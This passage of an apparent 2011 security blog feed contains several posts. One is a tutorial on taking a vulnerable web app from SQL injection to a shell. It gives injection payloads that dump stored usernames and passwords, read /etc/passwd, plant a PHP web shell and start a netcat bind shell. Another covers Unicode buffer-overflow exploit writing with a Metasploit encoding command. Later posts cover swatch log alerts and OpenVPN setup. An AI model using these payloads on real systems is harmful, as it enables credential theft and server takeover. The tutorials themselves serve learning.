0);"&gt;limit &lt;span style="color: rgb(255, 0, 0);"&gt;y&lt;/span&gt;,1&lt;/span&gt;. Where x is a table name that was obtained from step 5 and y is an integer index as discussed above when used with limit.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Now we can enumerate the data. We will enumerate the members table. The members table has three columns, id, username and password. We will get the usernames and their respective passwords.&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,username,4,5,6,password from members limit &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;x&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;,1%23&lt;/span&gt;&lt;/span&gt;. Where x is used as an integer index value to the results of the query. You would soon notice that passwords are stored in plain text.&lt;/li&gt;&lt;li&gt;Reading files. &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,load_file('/etc/passwd')%23&lt;/span&gt;. This will display the contents of the file &lt;span style="color: rgb(255, 0, 0);"&gt;/etc/passwd&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Lets drop a simple backdoor shell. This would only work where there is a directory with write permissions. Assuming /var/www/ has write permision by everyone we can create our backdoor php shell like this.&lt;blockquote&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;id=x' union all select 1,2,3,4,5,6,&lt;span style="color: rgb(255, 102, 0);"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&amp;lt;?php system($_GET[cmd]); ?&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;' into outfile '/var/www/shell.php' %23&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;/blockquote&gt;If all went well, using your browser, goto &lt;span style="color: rgb(51, 255, 255);"&gt;http://127.0.0.1/shell.php?cmd=ls&lt;/span&gt;. This should list the current directory contents via the "ls" UNIX command.&lt;/li&gt;&lt;li&gt;Lets get a more interactive shell. Using the same shell.php script we wrote to the database server goto&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://127.0.0.1/shell.php?cmd=nc -e /bin/bash -lvp 4444&lt;/span&gt;. This sets up a netcat backdoor.&lt;/li&gt;&lt;/ol&gt;Update: Here is a video demonstration on how most of this is done.&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/27350392?title=0&amp;amp;byline=0&amp;amp;portrait=0" frameborder="0" height="300" width="400"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/27350392"&gt;sql injection&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;wikipedia&lt;/a&gt;&lt;br /&gt;&lt;a href="http://hakipedia.com/index.php/SQL_Injection"&gt;hakipedia.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/exploitcoilvuln/"&gt;exploit.co.il vuln web site&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.unixwiz.net/techtips/sql-injection.html"&gt;unixwiz.net&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securiteam.com/securityreviews/5DP0N1P76E.html"&gt;securiteam.com&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29"&gt;owasp.org&lt;/a&gt;&lt;br /&gt;&lt;p style="text-align: left; "&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1441411315210513065?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1441411315210513065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/08/from-sql-injection-to-shell.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1441411315210513065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1441411315210513065'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/08/from-sql-injection-to-shell.html' title='From SQL injection to Shell'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-9218076069632857312</id><published>2011-06-29T09:09:00.000-07:00</published><updated>2011-06-29T12:27:07.665-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unicode exploit'/><title type='text'>Challenges in developing unicode exploits</title><content type='html'>In a precious post, i wrote about exploiting a stack buffer overflow for the vulnerable version of minishare (version 1.4.1). This was basically my interpretation and understanding of lupin's write up of the same exploit in tutorial form over &lt;a href="http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html"&gt;here&lt;/a&gt;. If you need more elaboration on the exploit writing process, i suggest that you look at his tutorial on exploiting minishare (there are other tutorials as well). There is also a good tutorial at &lt;a href="https://www.corelan.be/"&gt;corelan.be&lt;/a&gt; on writing exploits. It was the tutorials over at corelan that got me into unicode exploits. This is a very length tutorial on unicode exploits that made me really understand the challenges in writing such an exploit.&lt;br /&gt;&lt;br /&gt;Unicode exploits are basically the same as traditional stack buffer overflow exploits but it comes with a bigger challenge. The idea between both exploit types are the same; Overwrite EIP (or seh) with a useful address that would execute a command that jumps us back to our buffer that contains our code. Although their goals are the same, how you would go about achieving these goals differ.&lt;br /&gt;&lt;br /&gt;The differnce that you would notice from the traditional ascii exploit and a unicode one is that every byte is appended with a null or 0x00 byte. For example, the string "DOG" in uppercase will be "44 4F 47" in ascii bytes. The unicode representation of the same string will be " 44 00 4F 00 47 00".  So if when you overwrite a buffer with a crap load of AAAAAAAAA's, in a unicode exploit, each A in the buffer will be appened with a null. Therefore your buffer will look like this in bytes: "41 00 41 00 41 00 41 00 41 00 ...".&lt;br /&gt;&lt;br /&gt;Usually with unicode exploits, you are quite limited in what memory addresses you can overwrite EIP or SEH with and you also have a limed instruction set in which you can use.  You must accept that every byte in your supplied buffer will contain a trailing null byte and work your way from there. This also means that your buffer must contain code thats unicode compatible. For example, putting a short jump where the next seh address resides, i.e jmp 0x6, is common in seh exploits to jump over seh address towards your shellcode. This jmp 0x6 in bytes is " eb 06". If when send this in our buffer, the nulls will be appeneded to each byte before the code is run, i.e "eb 00 06 00" .  If you look at the instructions that these bytes represents, its not what you would've intended it to be. This is a major point that must be kept in mind when dealing with unicode exploits.&lt;br /&gt;&lt;br /&gt;You must be wondering how do we overcome the limitations discussed earlier. You basically use unicode compatible instructions to accomplish the same thing. These instructions include single byte instructions like push, pop, inc, dec and ret just to name a few. When using single byte instructions, each instruction must be seperated by some nop-equivalent code in the form of "00 nn 00" where nn will be an opcode that will give the effect of a nop instruction. There are not too many opcodes that we can use here. Some of them are &lt;span style="color: rgb(255, 102, 0);"&gt;0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x62 and 0x6D&lt;/span&gt;.  These opcodes when used in the format "00 nn 00" will produce assembly instrunctions like "&lt;span style="color: rgb(255, 102, 0);"&gt;add byte ptr [ebp], ch&lt;/span&gt;". Replacing nn with one of the opcode bytes  would produce something similar. For this to work however, the relevant register (ebp in our example) must contain an address which is writeable or else an exception will occur. Each opcode byte will normally result in giving you a different register at your disposal. Because the code that this produces probly would not affect our buffer (or shellcode), it can be used as filler or nop-like code in between single byte instructions and other relevant code pieces. If you need further elaboration of the uses on this, please read the unicode exploit over at corelan.be. They did a great job explaining this, but most importantly, they also walk you through developing an exploit using the above mentioned techniques.&lt;br /&gt;&lt;br /&gt;Some things to keep in mind.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;After you found that you can overwrite eip or seh, you will need to find a usable unicode compatible address, i.e, in the form of 00nn00nn. So in the case of an seh exploit,  you gonna need to find an address to a pop pop ret (like in a typical seh exploit) but this address must be in the format of 0x00nn00nn. The pvefindaddr plugging for immunity debugger can automate this process.&lt;/li&gt;&lt;li&gt;Make use of single byte instructions like push, pop, inc, dec, and ret and seperate each with one of the nop-like opcodes i mentioned earlier (0x6D, 0x6E, 0x6F, 0x70, 0x71 etc. This will cause opcode to align itself in a way that is unicode compatible.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Shellcode must be encoded with unicode compatible encoder. You can also use metasploit for this: &lt;span style="color: rgb(51, 255, 51);"&gt;# msfpayload windows/exec CMD=clac.exe R | msfencode -e x86/alpha_mixed -t raw | msfencode -e x86/unicode_upper -t raw BufferRegister=EAX&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Unicode encoders usually need you to have at least one register pointing to the begining of the shellcode. Here is an example of how this can be accomplished. Suppose we wanted to get the address of 0x00401030 into eax then jump to it. We can accomplish this like so:&lt;/li&gt;&lt;/ol&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Opcode:&lt;/span&gt;         &lt;span style="color: rgb(255, 102, 0);"&gt; Assembly:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;B8 00110011 &lt;/span&gt;             MOV EAX,11001100&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                    ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;2D 00010011&lt;/span&gt;            SUB EAX,11000100&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                    ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;50&lt;/span&gt;                                PUSH EAX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                    ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;4C&lt;/span&gt;                                DEC ESP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                    ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;58&lt;/span&gt;                                POP EAX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                    ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;05 00300040&lt;/span&gt;           ADD EAX,40003000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                   ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;50&lt;/span&gt;                               PUSH EAX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                   ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;44&lt;/span&gt;                               INC ESP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                  ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;58 &lt;/span&gt;                             POP EAX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;006D 00&lt;/span&gt;                  ADD BYTE PTR SS:[EBP],CH   //Filler / Nop-like code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;C3&lt;/span&gt;                             RETN&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If we were to see this as a stream of bytes, it would look like &lt;span style="color: rgb(51, 255, 255);"&gt;"B8 00 11 00 11 00 6D 00 2D 00 01 00 11 00 6D 00 50 00 6D 00 4C 00 6D 00 58 00 6D 00 05 00 30 00 40 00 6D&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;00 50 00 6D 00 44 00 6D 00 58 00 6D 00 C3"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is unicode compatible code, often known as venetian code. Remember when you are writing your exploit, you will not be including the null bytes. These would get automatically inserted for you when your exploit overflows the buffer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-9218076069632857312?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/9218076069632857312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/06/challenges-of-unicode-exploits.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/9218076069632857312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/9218076069632857312'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/06/challenges-of-unicode-exploits.html' title='Challenges in developing unicode exploits'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4710199142805273450</id><published>2011-06-04T12:11:00.000-07:00</published><updated>2011-11-09T08:45:36.809-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='swatch'/><title type='text'>Automate log monitoring and get email notifications with swatch</title><content type='html'>The swatch program (simple watcher) can monitor all sorts of logs and respond to certain events when they occur. Its concept is quite simple. Swatch will monitor a logfile for us , for example, /var/log/syslog, and when a specific event occurs (these events are configured in the swatch config file) and are logged in the log file, swatch can respond by executing a program, sending an email to a sysadmin or sending messages to the console where swatch is being run.&lt;br /&gt;&lt;br /&gt;A simple example of swatch in action. If you are the sole sysadmin of a webserver, you would probly want to be notified if someone attempts to try to log into your server (could be over ssh or other authentication services). Being the sole admin of the webserver, no one else should have any business being on the system. Anyone but the admin attempting to login to the system obviously doesn't belong there and may have bad intentions. In this case, you can set up swatch to monitor the auth.log file for failed logon attempts and succesful logon attempts and then send you an email whenever their is attempts from anyone to log in. Of course this will notify you even when you log on to the machine, therefore this might be more practical if you have an unattended system (maybe you are on vacation or away on business).&lt;br /&gt;&lt;br /&gt;I use an email program which is actually a perl script, called sendemail. On a debian based system, you can install it via&lt;span style="color: rgb(51, 255, 51);"&gt; apt-get install sendemail&lt;/span&gt;. Likewise, to install swatch, &lt;span style="color: rgb(51, 255, 51);"&gt;apt-get install swatch&lt;/span&gt;. Once both are installed, a simple configuration for swatch is as follows&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(255, 102, 0);"&gt;watchfor /sshd/&lt;br /&gt; echo bold&lt;br /&gt; bell 3&lt;br /&gt; exec "/usr/bin/sendemail -s smtp.live.com:25 -f youremail@hotmail.com -xu youremail@hotmail.com -xp        your_hotmail_pass -u "Log alert" -m "Possible SSHD login attemp" -t youremail@hotmail.com -s smtp.live.com"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Save the above to a text file with an appropriate name such as swatch.conf&lt;br /&gt;&lt;br /&gt;Then we can execute swatch like this:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# swatch --config-file=/path/to/swatch.conf --script-dir=/path/to/your_config_dir --examine=/var/log/auth.log &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Whenever someone attempts to login to your sshd server, the sshd daemon will log the login attemp in /var/log/auth.log. The swatch program will monitor the auth.log file for the string sshd and whenever it gets a match, it will leave a notification  on the console and then send an email to youremail@hotmail.com. The swatch program understands regex expressions so you can perform more advanced matches instead of a simple string like sshd.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4710199142805273450?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4710199142805273450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/06/automate-log-monitoring-and-get-email.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4710199142805273450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4710199142805273450'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/06/automate-log-monitoring-and-get-email.html' title='Automate log monitoring and get email notifications with swatch'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7933542526881515351</id><published>2011-05-31T08:59:00.001-07:00</published><updated>2011-05-31T09:37:26.411-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>OpenVPN Cont. -  Adding username/password authentication to openvpn</title><content type='html'>This post basically adds onto the steps outlined in the previous post. By adding username/password authentication, you are essentially providing a two factor authentication mechanism to your openvpn server. The client would need a usable client certificate and key to authenticate itself to the server, as well as provide a valid username and password.&lt;br /&gt;&lt;br /&gt;We have already discussed using certifcate authentication in the previous post so i wont be going over that here. To add the user/pass mechanism we would be adding to our already existing configuration files one or two lines.&lt;br /&gt;&lt;br /&gt;In the server config file, add the following:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;plugin /usr/lib/openvpn/openvpn-atuh-pam.so system-auth&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the server create a group called vpn&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# groupadd vpn&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then we can create each user:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# useradd -s /bin/false -g vpn vpntest&lt;/span&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;// this creates the user and puts them in the vpn group&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# passwd vpntest&lt;/span&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;// gives the user vpntest a password for authentication&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the client config file, add the following:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;auth-user-pass&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;pull&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Thats it. Keep in mind that we were adding to our config files from the previous post, so it is presumed that you already have a working openvpn server that accepts client key/certificate authentication&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://www.uno-code.com/?q=node/120"&gt;http://www.uno-code.com/?q=node/120&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7933542526881515351?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7933542526881515351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/05/cont-adding-usernamepassword.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7933542526881515351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7933542526881515351'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/05/cont-adding-usernamepassword.html' title='OpenVPN Cont. -  Adding username/password authentication to openvpn'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-979940972442953180</id><published>2011-05-28T17:20:00.000-07:00</published><updated>2011-05-31T08:58:43.947-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>OpenVPN configs made easy</title><content type='html'>If you are reading this, i'm assuming that you would already know what a VPN is. If you are not familiar with the term, you can read &lt;a href="http://en.wikipedia.org/wiki/Virtual_private_network"&gt;this&lt;/a&gt; Wikipedia entry to get up to speed with the technology.&lt;br /&gt;This guide would not be a full featured guide on how to setup the "complicated" openvpn software. For quite sometime now, i have avoided Openvpn as i've always read about how hard it is to setup up and configure. I've used other VPN technologies such as hamachi and adito. While these solutions are great, i've always felt like i was holding myself back by not giving Openvpn a chance. After following some tutorials, some quite simple and others very complex, i am happy to say that i've finally set up Openvpn server. The best thing that i have taken from this experience is that its not all that hard to set up. There are guides out there that seem very intimidating on the topic and my hope is to try and take this confusion away and give you the quick 101 of openvpn.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;---+++Using openvpn with secret key.+++---&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;I've used Backtrack 5 to setup my server (you can use other linux distros as well)&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Install Openvpn. Backrack 5 already comes with it pre-installed. If your distro didn't come with it already install, you can install by issuing&lt;span style="color: rgb(51, 255, 51);"&gt; # apt-get install openvpn&lt;/span&gt; (applicable for debian based systems that use apt for managing packages)&lt;/li&gt;&lt;li&gt;Navigate to openvpns config dir. &lt;span style="color: rgb(51, 255, 51);"&gt;# cd /etc/openvp&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Create a secret key.&lt;span style=" color: rgb(51, 255, 51);"&gt; # openvpn --genkey --secret secret.key&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;By default no config file is available. Lets create one. &lt;span style="color: rgb(51, 255, 51);"&gt;# touch openvpn.conf&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Using your favorite text editor, open up the config file that you've just created and enter in the following:&lt;/li&gt;&lt;/ol&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;proto udp&lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# protocol to use. Either tcp or udp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;port 1194   &lt;span style="color: rgb(255, 102, 0);"&gt;# port num&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;dev tun   &lt;span style="color: rgb(255, 102, 0);"&gt;# can be either tun or tap. Tun is simpler to sertup&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ifconfig 10.0.0.1 10.0.0.2 &lt;/span&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;# The 10.0.0.1 is the desired IP for our server's virtual interface&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; and the other is the peer&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;secret /etc/openvpn/secret.key  &lt;span style="color: rgb(255, 102, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# secret key used for authentication&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;cipher AES-128-CBC  &lt;span style="color: rgb(255, 102, 0);"&gt;# encryption cipher to use&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;user nobody   &lt;span style="color: rgb(255, 102, 0);"&gt;# drop priveledges to this user&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;group nobody&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt; # same as above&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;verb 3&lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# logging level&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Thats it for the server set up. Now copy the secret.key file and the openvpn.conf file to another linux client that already has openvpn installed. Note that the server and client config files are almost identical with few minor changes. Copy the files to the location /home/user/.openvpn (this location is not mandatory but lets just be organized).&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;First change permissions of config and secret key file. &lt;span style="color: rgb(51, 255, 51);"&gt;# chmod 644 secret.txt ; chmod 644 openvpn.conf&lt;/span&gt;&lt;/li&gt;&lt;li&gt;We need to add 1 line to the openvpn.conf file and modify the ifconfig parameter. So the client's openvpn.conf file will look like this&lt;/li&gt;&lt;/ol&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;remote 192.168.0.5   &lt;span style="color: rgb(255, 102, 0);"&gt;# VPN's server's real ip&lt;/span&gt;&lt;br /&gt;proto udp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;port 1194&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;dev tun&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ifconfig 10.0.0.&lt;span style="color: rgb(255, 102, 0);"&gt;2&lt;/span&gt; 10.0.0.&lt;span style="color: rgb(255, 102, 0);"&gt;1&lt;/span&gt;  &lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# notice the change here&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;secret &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/home/user/.openvpn/&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;secret.key  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;cipher AES-128-CBC&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;user nobody&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;group nobody&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;verb 3&lt;/span&gt;&lt;/blockquote&gt;Thats all for the client configurati0n.&lt;br /&gt;&lt;br /&gt;Starting the server and client take identical commands and require root privileges. Onceyou are root, you can start the server and client like so: # openvpn --config /etc/openvpn/openvpn.conf&lt;br /&gt;&lt;br /&gt;Once the connection is established both the server and client terminal windows should give some details similar to this:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(255, 102, 0);"&gt;Sat May 28 20:53:16 2011 Initialization Sequence Completed&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;To test your VPN connection, you can use the ping utility.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;---+++Using openvpn with certificates.+++---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;Server setup:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Copy scripts for handling certificates to /etc/openvpn directory. &lt;span style="color: rgb(51, 255, 51);"&gt;# cp -r /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Goto scripts dir.&lt;span style="color: rgb(51, 255, 51);"&gt; # cd 